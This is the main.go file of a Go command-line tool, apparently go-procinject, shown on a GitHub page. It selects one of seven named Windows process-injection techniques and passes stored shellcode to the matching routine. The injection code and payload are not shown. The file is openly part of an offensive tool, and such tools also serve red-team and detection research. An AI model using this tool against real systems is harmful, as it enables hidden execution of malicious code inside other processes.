-
Notifications
You must be signed in to change notification settings - Fork 15
/
Copy pathmain.go
48 lines (45 loc) · 1.02 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package main
import (
"flag"
"fmt"
"go-procinject/config"
"go-procinject/inject"
)
func main(){
var technique string
flag.StringVar(&technique, "technique", "", "Process injection technique:\n" +
"CreateRemoteThread\n" +
"NtCreateRemoteThread\n" +
"QueueUserAPC\n" +
"NtQueueUserAPC\n" +
"RtlCreateUserThread\n" +
"SetThreadContext\n" +
"SetThreadContextC\n")
flag.Parse()
switch technique{
case "CreateRemoteThread":
inject.CreateRemoteThread(config.Shellcode)
break
case "NtCreateRemoteThread":
inject.NtCreateRemoteThread(config.Shellcode)
break
case "QueueUserAPC":
inject.QueueUserAPC(config.Shellcode)
break
case "NtQueueUserAPC":
inject.NtQueueUserAPC(config.Shellcode)
break
case "RtlCreateUserThread":
inject.RtlCreateUserThread(config.Shellcode)
break
case "SetThreadContext":
inject.SetThreadContext(config.Shellcode)
break
case "SetThreadContextC":
inject.SetThreadContextC(config.Shellcode)
break
default:
fmt.Println("Invalid process injection technique")
break
}
}